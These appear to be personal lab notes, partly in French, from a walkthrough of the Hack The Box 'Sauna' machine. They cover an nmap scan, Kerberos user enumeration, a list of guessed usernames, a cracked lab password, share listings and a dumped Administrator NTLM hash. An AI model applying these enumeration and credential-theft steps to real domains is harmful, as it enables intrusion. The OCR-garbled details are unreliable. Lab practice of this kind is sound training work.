Sauna

lundi 31 mars 2025 22:15

sudo nmap -p- -sV -sC 10.129.31.151 --open

[sudo] password for alice:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-01 12:01 CEST

Nmap scan report for 10.129.31.151

Host is up (0.034s latency).

Not shown: 65515 filtered tcp ports (no-response)

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT  STATE SERVICE VERSION

53/tcp open domain Simple DNS Plus

80/tcp open http Microsoft IIS httpd 10.0

| _http-server-header: Microsoft-11S/10.0

| _http-title: Egotistical Bank :: Home

| http-methods:

| _ Potentially risky methods: TRACE

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-01 17:07:022)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open Idap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-
BANK.LOCALO., Site: Default-First-Site-Name)

445/tcp open microsoft-ds?

464/tcp open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped

3268/tcp open Idap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-
BANK.LOCALO., Site: Default-First-Site-Name)

3269/tcp open tcpwrapped

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

| _http-server-header: Microsoft-HTTPAPI/2.0

| _http-title: Not Found

9389/tcp open mc-nmf .NET Message Framing

49669/tcp open msrpc Microsoft Windows RPC

49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC

49676/tcp open msrpc Microsoft Windows RPC

49696/tcp open msrpc Microsoft Windows RPC

49718/tcp open msrpc Microsoft Windows RPC

Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode:

| 3:1:1:

|_ Message signing enabled and required
| _clock-skew: 7h00m03s

| smb2-time:

| date: 2025-04-01T17:07:55

|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 433.00 seconds

nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-
users.realm="htb.local',userdb=/usr/share/seclists/Usernames/Names/name
s.txt 10.129.31.151
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Egotistical Bank

We want all of your money and we're not afraid to ask!

Fergus Smith

Shaun Coins

Sophie Driver

Hugo Bear Bowie Taylor

Steven Kerb

Il faut créer une liste de users et la personnaliser :
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|dapsearch.txt users.txt

administrator
guest
fergus.smith
f.smith
Fsmith
shaun.coins
s.coins
Scoins
hugo.bear
H.bear

-
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Hbear

-
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bowie.taylor
B.tavlor
Btavlor
sophie.driver
S.driver
Sdriver
steven.kerb
S.kerb

Skerb

jenny. joy
J.joy

Jjov
hugo.smith
H.smith
Hsmith
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Et tester avec kerbrute :
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Fsmith - Thestrokes23

Permissions Remark
mote Admin

Default share

Remote IPC
NETLOGON READ Logon server share
print$ READ Printer Drivers
RICOH Aficio SP 8300DN PCL 6 We cant print money
SYSVOL READ Logon server share

Avec winpeas

Looking for AutoLogon credentials
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)

(Pwn3d!)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
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